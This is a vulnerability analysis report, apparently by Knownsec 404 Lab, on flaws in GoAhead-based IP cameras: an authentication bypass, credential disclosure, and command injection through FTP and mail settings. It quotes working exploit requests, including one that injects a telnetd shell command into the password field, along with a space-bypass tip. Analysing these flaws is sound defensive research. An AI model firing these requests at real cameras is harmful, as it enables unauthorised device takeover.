抓住“新代码”的影子 - paper.seebug.orgŠ“住”新代码”的... ·...
TRANSCRIPT
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 1页
抓住“新代码”的影子
——基于 GoAhead 系列网络摄像头多个漏洞分析
知道创宇 404 实验室
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 2页
1. 更新情况
版本 时间 描述 第一版 2017/03/19 抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏
洞分析
2. 漏洞背景
GoAhead 作为世界上最受欢迎的嵌入式 Web 服务器被部署在数亿台设备中,是各种嵌入式设
备与应用的理想选择。当然,各厂商也会根据不同产品需求对其进行一定程度的二次开发。
2017 年 3 月 7 日,Seebug 漏洞平台收录了一篇基于 GoAhead 系列摄像头的多个漏洞。该漏洞
为 Pierre Kim 在博客上发表的一篇文章,披露了存在于 1250 多个摄像头型号的多个通用型
漏洞。其在文章中将其中一个验证绕过漏洞归类为 GoAhead 服务器的漏洞,但事后证明,该
漏洞却是由厂商二次开发 GoAhead 服务器产生的。于此同时,Pierre Kim 将其中两个漏洞组
合使用,成功获取了摄像头的最高权限。
3. 漏洞分析
当我们开始着手分析这些漏洞时发现 GoAhead 官方源码不存在该漏洞,解开的更新固件无法
找到对应程序,一系列困难接踵而至。好在根据该漏洞特殊变量名称 loginuse 和 loginpas,我们
在 github 上找到一个上个月还在修改的门铃项目。抓着这个“新代码”的影子,我们不仅分
析出了漏洞原理,还通过分析结果找到了漏洞新的利用方式。
由于该项目依赖的一些外部环境导致无法正常编译,我们仅仅通过静态代码分析得出结论,
因此难免有所疏漏。如有错误,欢迎指正。:)
1 验证绕过导致信息(登录凭据)泄露漏洞
作者给出的 POC: curl http://ip:port/system.ini?loginuse&loginpas
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 3页
根据作者给出的 POC,我们进行了如下测试:
可以看出,只要 url中含有 loginuse和 loginpas 这两个值即无需验证。甚至当这两个值对应的账
号密码为空或者为错误的 zzzzzzzzzzzzzz 时均可通过验证。
看到这里,我们大致可以判断出验证 loginuse 和 loginpas 的逻辑问题导致该漏洞的出现。于
是,在此门铃项目中直接搜索 loginuse定位到关键函数。
/func/ieparam.c 第 6407-6485行 AdjustUserPri函数如下:
unsigned char AdjustUserPri( char* url )
{
int iRet;
int iRet1;
unsigned char byPri = 0;
char loginuse[32];
char loginpas[32];
char decoderbuf[128];
char temp2[128];
memset( loginuse, 0x00, 32 );
memset( loginpas, 0x00, 32 );
memset( temp2, 0x00, 128 );
iRet = GetStrParamValue( url, "loginuse", temp2, 31 ); //判断是否存在 loginuse 值,并将获取到的值赋给 temp2
if ( iRet == 0x00 )
{
memset( decoderbuf, 0x00, 128 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
memset( loginuse, 0x00, 31 );
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 4页
strcpy( loginuse, decoderbuf );
} //如果存在,则将 temp2复制到 loginuse数组中
memset( temp2, 0x00, 128 );
iRet1 = GetStrParamValue( url, "loginpas", temp2, 31 ); //判断是否存在 loginpas 值,并将获取到的值赋给 temp2
if ( iRet1 == 0x00 )
{
memset( decoderbuf, 0x00, 128 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
memset( loginpas, 0x00, 31 );
strcpy( loginpas, decoderbuf );
} //如果存在,则将 temp2复制到 loginpas数组中
if ( iRet == 0 )
{
if ( iRet1 == 0x00 )
{
//printf("user %s pwd:%s\n",loginuse,loginpas);
byPri = GetUserPri( loginuse, loginpas ); //如果两次都获取到了对应值,则通过 GetUserPri进行验证。
return byPri;
}
}
memset( loginuse, 0x00, 32 );
memset( loginpas, 0x00, 32 );
memset( temp2, 0x00, 128 );
iRet = GetStrParamValue( url, "user", temp2, 31 );
if ( iRet == 0x00 )
{
memset( decoderbuf, 0x00, 128 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
memset( loginuse, 0x00, 31 );
strcpy( loginuse, decoderbuf );
}
memset( temp2, 0x00, 128 );
iRet1 = GetStrParamValue( url, "pwd", temp2, 31 );
if ( iRet1 == 0x00 )
{
memset( decoderbuf, 0x00, 128 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
memset( loginpas, 0x00, 31 );
strcpy( loginpas, decoderbuf );
}
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 5页
if ( iRet == 0 )
{
if ( iRet1 == 0x00 )
{
//printf("user %s pwd:%s\n",loginuse,loginpas);
byPri = GetUserPri( loginuse, loginpas );
return byPri;
}
} //获取 user 和 pwd 参数,逻辑结构与上方的 loginuse 和 loginpas 相同。
return byPri;
}
我们对其中步骤做了注释,根据这段逻辑,我们先通过 GetStrParamValue()获取 loginuse 和
loginpas 对应值,然后将获取值通过 GetUserPri()函数进行验证。跟进 GetStrParamValue()这个函
数,我们发现了更奇怪的事情。
command/cmd_thread.c中第 13-51 行 GetStrParamValue()函数如下:
//结合上面代码中的 iRet = GetStrParamValue( url, "loginuse", temp2, 31 );审视这
段代码
int GetStrParamValue( const char* pszSrc, const char* pszParamName, char* pszParamValue )
{
const char* pos1, *pos = pszSrc;
unsigned char len = 0;
if ( !pszSrc || !pszParamName )
{
return -1;
} //判断 url和需要查找的变量 loginuse 是否存在
pos1 = strstr( pos, pszParamName );
if ( !pos1 )
{
return -1;
} //由于 url中含有 loginuse,这里 pos1可取对应值,故不进入 if(!pos1)
pos = pos1 + strlen( pszParamName ) + 1;
pos1 = strstr( pos, "&" );
if ( pos1 )
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 6页
{
memcpy( pszParamValue, pos, pos1 - pos ); //根据正常情况 loginuse=admin&loginpas=xxx,这一段代码的逻辑是从 loginuse 后一
位,也就是等号开始取值,直到&号作为 loginuse 对应值。
//根据作者的 POC:loginuse&loginpas,最终这里 pos 应该位于 pos1 后一位,所以 pos1-
pos = -1
//memcpy( pszParamValue, pos, -1 );无法运行成功。
len = pos1 - pos;
}
else
{
pos1 = strstr( pos, " " );
if ( pos1 != NULL )
{
memcpy( pszParamValue, pos, pos1 - pos );
len = pos1 - pos;
}
}
return 0; //不论上述到底如何取值,最终都可以返回 0
}
根据作者给出的 POC,在 memcpy()函数处会导致崩溃,但事实上,我们的 web 服务器正常运
行并返回 system.ini 具体内容。这一点令我们百思不得其解。当我们对 AdjustUserPri()函数向上
溯源时终于弄清楚是上层代码问题导致代码根本无法运行到这里,所以也不会导致崩溃。
func/ieparam.c 文件第 7514-7543行调用了 AdjustUserPri()函数:
if ( auth == 0x00 )
{
char temp[512];
int wlen = 0;
if ( len )
{
return 0;
}
#if 0
byPri = AdjustUserPri( url );
printf("url:%s byPri %d\n",url,byPri);
if ( byPri == 0x00 )
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 7页
{
memset( temp, 0x00, 512 );
wlen += sprintf( temp + wlen, "var result=\"Auth Failed\";\r\n" );
memcpy( pbuf, temp, wlen );
return wlen;
}
#else
byPri = 255;
#endif
}
else
{
byPri = pri;
}
在之前跟踪 GetUserPri()函数时有一行注释://result:0->error user or passwd error 1->vistor 2->opration
255->admin。当我们回头再看这段函数时,可以发现开发者直接将验证部分注释掉,byPri 被直
接赋值为 255,这就意味着只要进入这段逻辑,用户权限就直接是管理员了。这里已经可以
解释本小节开篇进行的测试了,也就是为什么我们输入空的用户名和密码或者错误的用户名
和密码也可以通过验证。
很遗憾,我们没有继续向上溯源找到这里的 auth 这个值到底是如何而来。不过根据这里的代
码逻辑,我们可以猜测,当 auth 为 0 时,通过 GET 请求中的参数验证用户名密码。当 auth 不
为 0 时,通过 HTTP 摘要验证方式来验证用户名密码。
再看一遍上方代码,GET 请求中含有参数 loginuse 和 loginpas 就直接可以通过验证。那么
AdjustUserPri()函数中另外两个具有相同逻辑的参数 user和 pwd 呢?
成功抓住“新代码”的影子
2 远程命令执行漏洞一(需登录)
作者给出的 exp 如下:
user@kali$ wget -qO-
'http://192.168.1.107/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=2
1&user=ftp&pwd=$(telnetd -p25 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0'
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 8页
user@kali$ wget -qO-
'http://192.168.1.107/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin'
可以看到,该 exp 分为两步,第一步先设置 ftp 各种参数,第二步按照第一步设置的各参数测
试 ftp 链接,同时导致我们在第一步设置的命令被执行。
我们在 func/ieparam.c文件中找到了 set_ftp.cgi和 ftptest.cgi的调用过程。
383: pdst = strstr( pcmd, "ftptest.cgi" );
384:
385: if ( pdst != NULL )
386: {
387: return CGI_IESET_FTPTEST;
388: }
455: pdst = strstr( pcmd, "set_ftp.cgi" );
456:
457: if ( pdst != NULL )
458: {
459: return CGI_IESET_FTP;
460: }
7658: case CGI_IESET_FTPTEST:
7659: if ( len == 0x00 )
7660: {
7661: iRet = cgisetftptest( pbuf, pparam, byPri );
7662: }
7756: case CGI_IESET_FTP:
7757: if ( len == 0x00 )
7758: {
7759: iRet = cgisetftp( pbuf, pparam, byPri );
7760: NoteSaveSem();
7761: }
首先跟踪 cgisetftp( pbuf, pparam, byPri );这个函数,我们发现,该函数仅仅是获取到我们请求的
参数并将参数赋值给结构体中的各个变量。关键代码如下:
//这部分代码可以不做细看,下一步我们进行 ftp 测试连接的时候对照该部分寻找对应的值
就可以了。
iRet = GetStrParamValue( pparam, "svr", temp2, 63 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 63 );
strcpy( bparam.stFtpParam.szFtpSvr, decoderbuf );
GetIntParamValue( pparam, "port", &iValue );
bparam.stFtpParam.nFtpPort = iValue;
iRet = GetStrParamValue( pparam, "user", temp2, 31 );
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 9页
URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 );
strcpy( bparam.stFtpParam.szFtpUser, decoderbuf );
memset( temp2, 0x00, 64 );
iRet = GetStrParamValue( pparam, "pwd", temp2, 31 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 );
strcpy( bparam.stFtpParam.szFtpPwd, decoderbuf ); //我们构造的命名被赋值给参数 bparam.stFtpParam.szFtpPwd
iRet = GetStrParamValue( pparam, "dir", temp2, 31 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 );
strcpy( bparam.stFtpParam.szFtpDir, decoderbuf );
if(decoderbuf[0] == 0)
{
strcpy(bparam.stFtpParam.szFtpDir, "/" );
}
GetIntParamValue( pparam, "mode", &iValue );
bparam.stFtpParam.byMode = iValue;
GetIntParamValue( pparam, "upload_interval", &iValue );
bparam.stFtpParam.nInterTime = iValue;
iRet = GetStrParamValue( pparam, "filename", temp1, 63 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 63 );
strcpy( bparam.stFtpParam.szFileName, decoderbuf );
综上所述,set_ftp.cgi 仅仅是将我们请求的各参数写入全局变量中。
接下来是 ftptest.cgi部分,也就是调用了 iRet = cgisetftptest( pbuf, pparam, byPri );这个函数。在该
函数中,最为关键的函数为 DoFtpTest();。直接跳到 func/ftp.c文件中找到函数 DoFtpTest():
int DoFtpTest( void )
{
int iRet = 0;
iRet = FtpConfig( 0x01, NULL );
if ( iRet == 0 )
{
char cmd[128];
memset(cmd, 0, 128);
sprintf(cmd, "/tmp/ftpupdate1.sh > %s", FILE_FTP_TEST_RESULT);
iRet = DoSystem(cmd);
//iRet = DoSystem( "/tmp/ftpupdate1.sh > /tmp/ftpret.txt" );
}
return iRet;
}
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 10页
可以看到,执行 FtpConfig()函数后运行了/tmp/ftpupdate1.sh。先让我们看看 FtpConfig()函数如何
处理该问题:
int FtpConfig( char test, char* filename )
{
......
fp = fopen( "/tmp/ftpupdate1.sh", "wb" );
memset( cmd, 0x00, 128 );
sprintf( cmd, "/system/system/bin/ftp -n<<!\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
memset( cmd, 0x00, 128 );
sprintf( cmd, "open %s %d\n", bparam.stFtpParam.szFtpSvr, bparam.stFtpParam.nFtpPort );
fwrite( cmd, 1, strlen( cmd ), fp );
memset( cmd, 0x00, 128 );
sprintf( cmd, "user %s %s\n", bparam.stFtpParam.szFtpUser, bparam.stFtpParam.szFtpPwd );
fwrite( cmd, 1, strlen( cmd ), fp );
memset( cmd, 0x00, 128 );
sprintf( cmd, "binary\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
if ( bparam.stFtpParam.byMode == 1 ) //passive
{
memset( cmd, 0x00, 128 );
sprintf( cmd, "pass\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
}
#ifdef CUSTOM_DIR
char sub_temp[ 128 ];
memset(sub_temp, 0, 128);
//strcpy(sub_temp, bparam.stFtpParam.szFtpDir);
sprintf(sub_temp, "%s/%s", bparam.stFtpParam.szFtpDir,bparam.stIEBaseParam.dwDeviceID);
flag = sub_dir(fp,sub_temp);
if(flag){
memset( cmd, 0x00, 128 );
sprintf( cmd, "cd %s\n", bparam.stFtpParam.szFtpDir );
fwrite( cmd, 1, strlen( cmd ), fp );
}
#else
memset( cmd, 0x00, 128 );
sprintf( cmd, "cd %s\n", bparam.stFtpParam.szFtpDir );
fwrite( cmd, 1, strlen( cmd ), fp );
#endif
memset( cmd, 0x00, 128 );
sprintf( cmd, "lcd /tmp\n" );
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 11页
fwrite( cmd, 1, strlen( cmd ), fp );
if ( test == 0x01 )
{
FtpFileTest();
memset( cmd, 0x00, 128 );
sprintf( cmd, "put ftptest.txt\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
}
else
{
char filename1[128];
memset( filename1, 0x00, 128 );
memcpy( filename1, filename + 5, strlen( filename ) - 5 );
memset( cmd, 0x00, 128 );
sprintf( cmd, "put %s\n", filename1 );
fwrite( cmd, 1, strlen( cmd ), fp );
}
memset( cmd, 0x00, 128 );
sprintf( cmd, "close\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
memset( cmd, 0x00, 128 );
sprintf( cmd, "bye\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
memset( cmd, 0x00, 128 );
sprintf( cmd, "!\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
fclose( fp );
iRet = access( "/tmp/ftpupdate1.sh", X_OK );
if ( iRet )
{
DoSystem( "chmod a+x /tmp/ftpupdate1.sh" );
}
return 0;
}
至此,逻辑已经很清晰了。在 FtpConfig()函数中,首先将我们之前在设置时输入的各个值写入
/tmp/ftpupdate1.sh 中,然后在 DoFtpTest()中运行该脚本,导致最后的命令执行。这一点同样可
以在漏洞作者原文中得到证明:
作者原文中展示的/tmp/ftpupload.sh:
/ # cat /tmp/ftpupload.sh
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 12页
/bin/ftp -n<<!
open 192.168.1.1 21
user ftp $(telnetd -l /bin/sh -p 25)ftp
binary
lcd /tmp
put ftptest.txt
close
bye
!
/ #
我 们 在 实 际 测 试 中 发 现 直 接 使 用 作 者 给 出 的 exp 尝 试 RCE 往 往 行 不 通 。 从
http://ip:port/get_params.cgi?user=username&pwd=password 可以发现,我们注入的命令在空格处被
截断。
于是我们采用${IFS}替换空格(还可以采用+代替空格):
但由于长度限制再次被截断,调整长度后最终成功执行命令:
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 13页
成功抓住新代码的影子
3 GoAhead 绕过验证文件下载漏洞
2017 年 3 月 9 日,Pierre Kim 在文章中增加了两个链接,描述了一个 GoAhead 2.1.8 版本之
前的任意文件下载漏洞。攻击者通过使用该漏洞,再结合一个新的远程命令执行漏洞可以再
次获取摄像头的最高权限。有意思的是,这个漏洞早在 2004 年就已被提出并成功修复
(http://aluigi.altervista.org/adv/goahead-adv2.txt)。但是由于众多摄像头仍然使用存在该漏洞的老
代码,该漏洞仍然可以在众多摄像头设备复现。
我们也查找了此门铃项目中的 GoAhead服务器版本。web/release.txt 前三行内容如下:
=====================================
GoAhead WebServer 2.1.8 Release Notes
=====================================
再仔细查看 websUrlHandlerRequest()内容,发现并未对该漏洞进行修复,说明该漏洞也影
响这个门铃项目。以此类推,本次受影响的摄像头应该也存在这个漏洞,果不其然:
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 14页
那么,具体的漏洞成因又是如何呢?让我们来跟进./web/LINUX/main.c 了解该漏洞的成因:
initWebs()函数中,关键代码如下:
154: umOpen();
157: umAddGroup( T( "adm" ), 0x07, AM_DIGEST, FALSE, FALSE );
159: umAddUser( admu, admp, T( "adm" ), FALSE, FALSE );
160: umAddUser( "admin0", "admin0", T( "adm" ), FALSE, FALSE );
161: umAddUser( "admin1", "admin1", T( "adm" ), FALSE, FALSE );
162: umAddAccessLimit( T( "/" ), AM_DIGEST, FALSE, T( "adm" ) );
224: websUrlHandlerDefine( T( "" ), NULL, 0, websSecurityHandler, WEBS_HANDLER_FIRST );
227: websUrlHandlerDefine( T( "" ), NULL, 0, websDefaultHandler,WEBS_HANDLER_LAST );
其中,150-160 中 um 开头的函数为用户权限控制的相关函数。主要做了以下四件事情:
① umOpen() 打开用户权限控制
② umAddGroup()增加用户组 adm,并设置该用户组用户使用 HTTP摘要认证方式登录
③ umAddUser()增加用户 admin,admin0,admin1,并且这三个用户均属于 adm 用户组
④ umAddAccessLimit()增加限制路径/,凡是以/开头的路径都要通过 HTTP 摘要认证的方式
登录属于 adm组的用户。
紧 接 着 , 在 220 多 行 通 过 websUrlHandlerDefine() 函 数 运 行 了 两 个 Handler ,
websSecurityHandler 和 websDefaultHandler。在 websSecurityHandler 中,对 HTTP 摘要认
证方式进行处理。关键代码如下:
86: accessLimit = umGetAccessLimit( path );
115: am = umGetAccessMethodForURL( accessLimit );
116: nRet = 0;
118-242: if ( ( flags & WEBS_LOCAL_REQUEST ) && ( debugSecurity == 0 ) ){……}
245: return nRet;
第 86 行,umGetAccessLimit()函数用于将我们请求的路径规范化,主要逻辑就是去除路径最
后的/或者\\,确保我们请求的是一个文件。umGetAccessMethodForURL()函数用于获取我
们请求的路径对应的权限。这里,我们请求的路径是 system.ini,根据上文,我们的设置是
对/路径需要进行 HTTP 摘要认证,由于程序判断 system.ini 不属于/路径,所以这里 am 为默
认的 AM_INVALID,即无需验证。
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 15页
紧接着向下,nRet 初始化赋值为 0.在 118-242 行中,如果出现了账号密码错误等情况,则
会将 nRet 赋值为 1,表示验证不通过。但是由于我们请求的路径无需验证,所以判断结束时
nRet仍为 0。因此,顺利通过验证,获取到对应的文件内容。
就这样,我们再次抓住了这个”新代码”的影子,虽然这个 2004 年的漏洞让我们不得不为新
代码这三个字加上了双引号。
4 远程命令执行漏洞二(需登录)
在 Pierre Kim 新增的两个链接中,还介绍了一种新的远程命令执行方式,即通过 set_mail.cgi 和
mailtest.cgi来执行命令。
与上一个远程命令执行漏洞一样,我们先在 func/ieparam.c 文件中找到 set_mail.cgi 和 mailtest.cgi
的调用过程:
257: pdst = strstr( pcmd, "set_mail.cgi" );
258:
259: if ( pdst != NULL )
260: {
261: return CGI_IESET_MAIL;
262: }
348: pdst = strstr( pcmd, "mailtest.cgi" );
349:
350: if ( pdst != NULL )
351: {
352: return CGI_IESET_MAILTEST;
353:}
7674: case CGI_IESET_MAILTEST:
7675: if ( len == 0x00 )
7676: {
7677: iRet = cgisetmailtest( pbuf, pparam, byPri );
7678: }
7679:
7680: break;
7746: case CGI_IESET_MAIL:
7747: if ( len == 0x00 )
7748: {
7749: iRet = cgisetmail( pbuf, pparam, byPri );
7750: IETextout( "-------------OK--------" );
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 16页
7751: NoteSaveSem();
7752: }
7753:
7754: break;
与上一个远程命令执行漏洞类似,cgisetmail()函数用于将各参数储存到结构体,例如 sender 参
数赋值给 bparam.stMailParam.szSender、receiver1 参数赋值给 bparam.stMailParam.szReceiver1。接
着,来到 cgisetmailtest()函数:
int cgisetmailtest( unsigned char* pbuf, char* pparam, unsigned char byPri )
{
unsigned char temp[2048];
int len = 0;
int result = 0;
char nexturl[64];
int iRet = 0;
memset( temp, 0x00, 2048 );
//iRet = DoMailTest();
if(iRet == 0)
{
IETextout("Mail send over, OK or Not");
}
/* END: Added by Baggio.wu, 2013/10/25 */
memset( nexturl, 0x00, 64 );
iRet = GetStrParamValue( pparam, "next_url", nexturl, 63 );
if ( iRet == 0x00 )
{
#if 1
len += RefreshUrl( temp + len, nexturl );
#endif
memcpy( pbuf, temp, len );
}
else
{
len += sprintf( temp + len, "var result=\"ok\";\r\n" );
memcpy( pbuf, temp, len );
}
printf( "sendmail len:%d\n", len );
return len;
}
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 17页
该函数第十行已被注释掉。这是获取使用此函数发送邮件证据的唯一可寻之处。虽然被注释
掉了,我们也要继续跟踪 DoMailTest()这个函数:
int DoMailTest( void ) //email test
{
int iRet = -1;
char cmd[256];
if ( bparam.stMailParam.szSender[0] == 0 )
{
return -1;
}
if ( bparam.stMailParam.szReceiver1[0] != 0x00 )
{
iRet = EmailConfig();
if ( iRet )
{
return -1;
}
memset( cmd, 0x00, 256 );
/* BEGIN: Modified by Baggio.wu, 2013/9/9 */
sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -r %s -s \"mail test\" %s",
bparam.stMailParam.szSender, bparam.stMailParam.szReceiver1 );
//sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -v -s \"mail test\" %s",
// bparam.stMailParam.szReceiver1 );
printf( "start cmd:%s\n", cmd );
EmailWrite( cmd, strlen( cmd ) );
//emailtest();
printf( "cmd:%s\n", cmd );
}
return iRet;
}
可以看到,通过 sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -r %s -s \"mail
test\" %s",bparam.stMailParam.szSender, bparam.stMailParam.szReceiver1 );,发件人和收件人都直接
被拼接成命令,导致命令最终被执行。
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 18页
4. 漏洞影响范围
ZoomEye 网络空间探测引擎探测结果显示,全球范围内共查询到 78 万条历史记录。我们根据
这 78 万条结果再次进行探测,发现这些设备一共存在三种情况:
➢ 第一种是设备不存在漏洞。
➢ 第二种是设备存在验证绕过漏洞,但是由于 web 目录下没有 system.ini,导致最终无法被
利用。
可以看到,当我们直接请求 system.ini 时显示需要认证,而当我们绕过验证之后却显示
404 Not Found。
➢ 最后一种是设备即既存在验证绕过漏洞,又存在 system.ini 文件。这些设备同样也存在被
入侵风险。
我们统计了最后一种设备的数量,数据显示有近 7 万设备存在被入侵风险。这 7 万设备的国
家分布图如下:
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 19页
可以看出,美国、中国、韩国、法国、日本属于重灾区。我国一共有 7000 多台设备可能被入
侵,其中近 6000台位于香港。我们根据具体数据做成两张柱状图以便查看:
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 20页
我们通过查询 ZoomEye 网络空间探测引擎历史记录导出 2016 年 1 月 1 日、2017 年 1 月 1 日和
本报告编写之日 2017年 3月 14 日三个时间点的数据进行分析。
在这三个时间点,我们分别收录了 banner 中含有 GoAhead 5ccc069c403ebaf9f0171e9517f40e41 的
设备 26万台、65万台和 78 万台。
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 21页
但是这些 ip 中,存在漏洞的设备增长趋势却完全不同。
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 22页
可以看到,2016 年 1 月 1 日已探明的设备中目前仅有 2000 多台存在漏洞,2017 年 1 月 1 日之
前探明的设备中有近 3 万台存在漏洞,仅仅两个多月后的今天,已有近 7 万台设备存在漏
洞。
根据以上数据,我们可以做出如下判断:该漏洞出现时间大约是去年,直到今年被曝光之后
才被大家所关注。在此期间,旧摄像头通过更新有漏洞的固件导致的方式出现了该漏洞的出
现,而那些新生产的摄像头则被销售到世界各地。根据今年新增的 ip 的地理位置,我们可以
大致判断出这些存在漏洞的摄像头今年被销往何地。
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 23页
根据数据,我们可以看到,主要销售目的地为美国、中国、韩国、日本。中国新增 5316 台存
在此漏洞的摄像头,其中 4000多台位于香港。
5. 修复方案
1. 将存在漏洞的摄像头设备置于内网。
2. 及时升级到最新固件
3. 对于可能被感染的设备,可以采取重启的方式来杀死驻留在内存里的恶意进程。
6. 参考链接
1.https://www.seebug.org/vuldb/ssvid-92789 2.https://www.seebug.org/vuldb/ssvid-92748 3.https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html 4.https://github.com/kuangxingyiqing/bell-jpg 5.http://aluigi.altervista.org/adv/goahead-adv2.txt
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 24页
附表 1:Pierre Kim 给出的受影响设备列表:
3G+IPCam Other
EST Other IeGeek Other Sineoji Other Wanscam 00D6FB01980F
3SVISION Other
EZCam EPK-EP10L1
IeGeek ukn Sineoji PT-315V
Wanscam 106B
3com CASA EZCam EZCam Inkovideo V-104
Sineoji PT-3215P
Wanscam 118
3com Other EZCam Other Iprobot3 Other Sineoji PT-325IP
Wanscam 541-W
3xLogic Other EZCam PAN/TILT
JRECam JM3866W
Sinocam Other Wanscam 543-W
3xLogic Radio EZCam Pan/Tilt JWcam JWEV Sky+Genious
Genious
Wanscam 790
4UCAM Other EasyCam EC-
101HD
JWcam Other Skytronic IP Wanscam AJ-
C0WA-198
4XEM Other EasyCam EC-
101HDSD
Jaycar 3834 Skytronic IP99 Wanscam AJ-
C0WA-B106
555 Other EasyCam EC-
101SD
Jaycar 720P Skytronic Other Wanscam AJ-
C0WA-B116
7Links 3677 EasyCam EC-
102
Jaycar Other Skytronic WiFi Wanscam AJ-
C0WA-B168
7Links 3677-
675
EasyCam Other Jaycar QC-
3831
Skytronic dome Wanscam AJ-
C0WA-B1D8
7Links 3720-675
EasyN 187 Jaycar QC-3832
SmartEye Other
Wanscam AJ-C0WA-C0D8
7Links 3720-919
EasyN 1BF Jaycar QC-3834
SmartWares C723IP
Wanscam AJ-C0WA-C116
7Links IP-Cam-in
EasyN 720P Jaycar QC-3836
SmartWares c724ip
Wanscam AJ-C0WA-C126
7Links IP-Wi-Fi EasyN F Jaycar QC-3839
SmartWares c923ip
Wanscam AJ-C2WA-B118
7Links IPC-760HD
EasyN F-136 Jaytech IP6021W
SmartWares c924ip
Wanscam AJ-C2WA-C116
7Links IPC-770HD
EasyN F-M136 JhempCAM Back
Solwise SEC-1002W-IR
Wanscam AJ-C2WA-C118
7Links Incam EasyN F-M166 JhempCAM Other
Spy+Cameras WF-100PCX
Wanscam AJ-C2WA-C198
7Links Other EasyN F-M181 KaiKong 1601 Spy+Cameras WF-110V
Wanscam AJ-COWA-B1D8
7Links PX-3615-675
EasyN F-M1b1 KaiKong 1602w Sricam 0001 Wanscam AJ-COWA-C116
7Links PX-3671-675
EasyN F-SERIES
KaiKong Other Sricam 004 Wanscam AJ-COWA-C126
7Links PX-3720-675
EasyN F133 KaiKong SIP Sricam A0009 Wanscam AJ-COWA-C128
7Links PX3309 EasyN F2-611B KaiKong SIP1602
Sricam A001 Wanscam AW00004J
7Links PX3615 EasyN F3 KaiKong Sricam AP-001 Wanscam
抓住“新代码”的影子——基于 GoAhead 系列网络摄像头多个漏洞分析
北京知道创宇信息技术有限公司 第 25页
SIP1602W B1D8-1
7Links ipc-720 EasyN F3-166 KaiKong sip Sricam AP-003 Wanscam C-118
7Links px-3675 EasyN F3-176M
KaiKong sip1602w
Sricam AP-004 Wanscam C-126
7Links px-3719-
675
EasyN F3-
M166
Kenton gjc02 Sricam AP-005 Wanscam
Colour
7Links px-3720-
675
EasyN F3-
SERIES
Kinson
C720PWIP
Sricam AP-006 Wanscam FI-
18904w
A4Tech Other EasyN F3-
Series
Klok Other Sricam AP-009 Wanscam FR-
4020A2
ABS Other EasyN F3-
m187
Knewmart
KW01B
Sricam AP-012 Wanscam
FR4020A2
ADT RC8021W EasyN F3M187 Knewmart
KW02B
Sricam AP-
CAM
Wanscam HD-
100W
AGUILERA
AQUILERA
EasyN FS-
613A-M136
Kogan
KAIPC01BLKA
Sricam AP0009 Wanscam HW-
0021
AJT AJT-019129-BBCEF
EasyN FS-613B
Kogan KAIPCO1BLKA
Sricam AP002 Wanscam HW-0022
ALinking ALC EasyN FS-613B-M166
Kogan Other Sricam AP995 Wanscam HW-0022HD
ALinking Other EasyN FS-613B-MJPEG
Kogan encoder Sricam Cam1 Wanscam HW-0023
